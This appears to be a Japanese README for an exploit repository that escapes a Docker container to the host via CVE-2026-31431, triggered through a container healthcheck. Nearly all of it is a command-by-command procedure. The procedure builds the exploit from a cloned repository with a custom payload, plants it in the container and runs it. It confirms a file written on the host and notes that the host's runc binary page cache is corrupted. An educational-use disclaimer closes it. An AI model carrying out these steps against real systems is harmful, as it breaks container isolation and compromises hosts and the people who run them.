
Dockerコンテナでhealthcheckが有効な任意のコンテナから、CVE-2026-31431を介したコンテナエスケープ
https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e
このリポジトリには、脆弱なコンテナをセットアップするための docker-compose.yml が用意されています。他の脆弱なコンテナを使用したり、独自のコンテナをセットアップしたりすることもできますが、その場合はエクスプロイトコードを適宜変更することを忘れないでください。
# ホストマシン上で実行
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh
# copyfail コンテナ内で実行
cd /tmp
chmod +x exp.sh exploit
./exp.sh
# ヘルスチェックが実行されるまで数分待機し、
# ホスト上に /tmp/pwned が作成されているか確認する
# ホストマシン上で実行
ls /tmp/pwned
エクスプロイトが成功すると、ホストマシン上の runc バイナリのページキャッシュが破損します。ホスト上で echo 3 | sudo tee /proc/sys/vm/drop_caches を実行することで復元できます。
このリポジトリは教育目的のみで提供されています。悪意のある活動に使用すべきではありません。作者は、このコードの誤用によって生じたいかなる損害についても責任を負いません。常に管理された合法的な環境で使用してください。